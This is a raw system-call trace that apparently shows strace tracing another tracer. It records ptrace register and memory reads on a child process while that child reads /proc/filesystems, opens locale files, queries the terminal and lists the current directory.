ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x400]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x13b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8000, [0x7973097665646f6e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8008, [0x65646f6e0a736673]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8010, [0x7366746f6f720976]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8018, [0x62097665646f6e0a]) = 0
write(2, "\"nodev\\tsysfs\\nnodev\\trootfs\\nno"..., 56) = 56
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x400]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, "\"\", 1024) "..., 36) = 36
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff8000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
write(2, "munmap(0x7ffff7ff8000, 4096", 27) = 27
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 17) = 17
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7579370]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7ffff77a9010]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579370, [0x62696c2f7273752f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579378, [0x2f656c61636f6c2f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579380, [0x612d656c61636f6c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579388, [0x657669686372]) = 0
write(2, "open(\"/usr/lib/locale/locale-arc"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff77a9040]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9040, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9048, [0xc0092]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9050, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9058, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9060, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9068, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9070, [0x2a3d70]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9078, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9080, [0x14c8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9088, [0x4d81aa69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9090, [0x35751bb3]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9098, [0x4d8055ff]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90a0, [0x315e466c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90a8, [0x4d8055ff]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90b0, [0x315e466c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90b8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90c0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90c8, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=2"..., 50) = 50
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2a3d70]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2768240, PROT_READ, M"..., 48) = 48
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff6b61000]) = 0
write(2, ") = 0x7ffff6b61000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5401]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe0e0]) = 0
write(2, "ioctl(1, SNDCTL_TMR_TIMEBASE or "..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e0, [0x500006d02]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e8, [0x8a3b000004bf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f0, [0x10004157f1c0300]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f8, [0x170f12ff1a1311ff]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe100, [0xff16]) = 0
write(2, ", {B38400 opost isig icanon echo"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5413]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe250]) = 0
write(2, "ioctl(1, TIOCGWINSZ", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe250, [0x84002b]) = 0
write(2, ", {ws_row=43, ws_col=132, ws_xpi"..., 57) = 57
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x620c00]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x90800]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c00, [0x2e]) = 0
write(2, "open(\".\", O_RDONLY|O_NONBLOCK|O_"..., 51) = 51
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x48]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "fcntl(3, F_GETFD", 16) = 16
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x48]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x1]) = 0
write(2, ") = 0x1 (f"..., 49) = 49
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x620c48]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x8000]) = 0
write(2, "getdents(3, ", 12) = 12
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xd8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c48, [0x60146]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c50, [0x20a57914]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c58, [0x4000000002e0018]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c60, [0x61fac]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c68, [0x26b66844]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c70, [0x6172742e736c0020]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c78, [0x800000000006563]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c80, [0x621e0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c88, [0x46880944]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c90, [0x2e65636172740020]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620c98, [0x800000000000063]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620ca0, [0x60174]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620ca8, [0x605f45a8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cb0, [0x7274732e736c0020]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cb8, [0x800000000656361]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cc0, [0x60c1e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cc8, [0x69abfb7b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cd0, [0x6563617274730028]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cd8, [0x6563617274732e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620ce0, [0x800000000000000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620ce8, [0x602b5]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cf0, [0x7729d482]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620cf8, [0x65636172740020]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620d00, [0x800000000000000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620d08, [0x65445]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620d10, [0x7fffffff]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x620d18, [0x40000002e2e0018]) = 0
write(2, "/* 7 entries */, 32768) = 21"..., 34) = 34
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x620c48]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x8000]) = 0
write(2, "getdents(3, ", 12) = 12
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, "/* 0 entries */, 32768) = 0\n", 32) = 32
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
